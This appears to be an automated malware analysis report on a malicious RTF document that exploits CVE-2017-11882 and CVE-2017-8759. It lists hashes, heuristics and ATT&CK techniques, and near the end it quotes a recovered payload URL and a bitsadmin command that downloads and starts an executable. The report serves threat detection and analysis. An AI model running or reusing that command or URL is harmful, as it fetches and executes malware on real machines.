RTF malware analysis — malicious · 45ecafdce978e4e2

MALICIOUS

RTF

129.3 KB Created: 2018-08-27 03:07:00 First seen: 2019-01-11

MD5: bf646fb24b2d80a6084c6f47e67e8296 SHA-1: ec38c3a748798562ac10256582476a387355a9b8 SHA-256: 45ecafdce978e4e24c391c6f1856116094a5a9f712d4874cda24bbc8ac4c9dc8

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759. Analysis indicates these exploits are used to download and execute a second-stage payload, identified as 'press.exe', from the URL http://194.5.99.87:4560/codes/press.exe. The document body content is minimal and does not provide further context.

Heuristics 7

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://194.5.99.87:4560/codes/press.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000d39f.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xD39F	15672 bytes
SHA-256: `41630bfa60b35eb261f1e25b063ffdfa2b10b9b5a1ae53a58af0974b35a8499a`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://194.5.99.87:4560/codes/press.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer WW /priority foreground http://194.5.99.87:4560/codes/press.exe %USERPROFILE%\P.exe && start %USERPROFILE%\P.exe

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